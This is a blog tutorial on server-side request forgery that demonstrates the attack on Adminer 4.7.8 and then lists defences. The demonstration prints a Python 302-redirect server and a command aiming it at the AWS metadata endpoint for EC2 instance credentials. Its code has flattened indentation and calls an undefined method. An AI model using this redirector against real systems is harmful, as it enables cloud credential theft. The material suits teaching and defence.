What is SSRF?
SSRF is server side request forgery. It allows bad actors to access internal sites outside of your internal network. SSRF vulnerability is one of the common web applications vulnerability exploited and OWASP top 10 web application vulnerability.
Why it’s dangerous?
If you are not following ZTNA (Zero Trust Network Access) model and the applications inside your internal network most likely will trust the connections from the network. Adversaries uses that weakness to access the apps and the data outside of the network. For e.g. AWS instance metadata 169.254.169.254 may have instance credentials can be accessible outside of the intended network. Obviously AWS has a mitigation to protect against instance metadata exfiltration. Refer this AWS blog for more details.
How to exploit SSRF?
I am going to explain SSRF vulnerability using adminer v4.7.8 application and read AWS ec2 instance credentials. More details about this vulnerability can be found here.
redirect.py is python program listens on port 9001 and redirects the request to instance meta-data ec2 credentials
#!/usr/bin/env python3
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler
import logging
if len(sys.argv)-1 != 2:
print("""
Usage: {} <port_number> <url>
""".format(sys.argv[0]))
sys.exit()
class Redirect(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', sys.argv[2])
self.end_headers()
def do_POST(self):
content_length = int(self.headers['Content-Length']) # <--- Gets the size of data
post_data = self.rfile.read(content_length) # <--- Gets the data itself
logging.info("POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n",
str(self.path), str(self.headers), post_data.decode('utf-8'))
self._set_response()
self.wfile.write("POST request for {}".format(self.path).encode('utf-8'))
HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
python redirect_3.py 9001 http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance
Python redirect_3.py listens on port 9001 is not accessible outside. And the adminer ssrf vulnerable application running on the same network so using the vulnerable application we can extract the ec2 instance credentials. Adversaries uses the compromised credentials to move laterally or escalate privileges.
Start the adminer docker container of v4.7.8 using below command
docker run -p 8081:8080 adminer:4.7.8
Exploit the vulnerability in Server field
As you can see using SSRF vulnerability I can able to access the internal servers and most importantly AWS instance credentials.
How to prevent or detect SSRF ?
Adding the defence in depth is way to go to prevent any kind of vulnerability
- Keep the software up to-date and patch all the vulnerabilities. In this case, Adminer is fixed the SSRF vulnerability in 4.8.
- Do not allow unauthenticated access to internal apps. Follow the zero trust model and get as much as signals for the application to provide access.
- Amazon Guardduty can detect EC2 instance credentials exfiltration
- Some Web application Firewall vendors may prevent SSRF attack but the prevention of SSRF is difficult compared to other common attacks against web like SQL injection, XSS and so on.
- Disable HTTP redirection
OWASP Top 10 have other techniques to prevent and detect SSRF
Conclusion
SSRF attack is one of the OWASP Top ten web attack and the impact is depends on what kind of sensitive information can adversaries able to exfiltrate. Defence in depth is strategy to prevent those attacks.
References
https://portswigger.net/web-security/ssrf
https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/